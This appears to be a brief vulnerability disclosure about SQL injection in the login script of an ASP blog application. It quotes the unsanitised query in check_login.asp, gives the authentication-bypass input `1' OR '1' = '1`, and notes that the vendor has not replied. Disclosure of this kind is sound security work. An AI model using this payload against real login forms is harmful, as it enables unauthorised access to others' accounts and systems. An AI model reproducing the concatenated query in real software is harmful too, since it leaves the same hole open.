Vulnerability / Exploit: ------------------------ This software is vulnerable to a SQL Injection. If you look into: login.asp there is: <form action="check_login.asp" method="post"> <table width="100%" border="0"> <tr> <td width="16%">Account Name</td> <td width="84%"><input name="acc_name" type="text" maxlength="50"></td> </tr> <tr> <td>Password</td> <td><input name="password" type="password" maxlength="50"></td> </tr> <tr> [...] You can see that this script call an other script called check_login.asp. In check_loging.asp there is a flaw that can allow an attacker to exploit the hole with Remote SQL Injection because the variables acc_name and password are not properly sanitised. So, in check_login.asp there is: [...] RS.Open "SELECT Account_Name FROM registration WHERE Account_Name='" & acc_name & "' AND Password='" & password & "'", DB [...] If an attacker put this codes 1' OR '1' = '1 into acc_name and password variables he can login into blogger! the query will be: RS.Open "SELECT Account_Name FROM registration WHERE Account_Name='1' OR '1' = '1' AND Password='1' OR '1' = '1', DB Vendor Status ------------- The vendor is informed but I've not received reply!
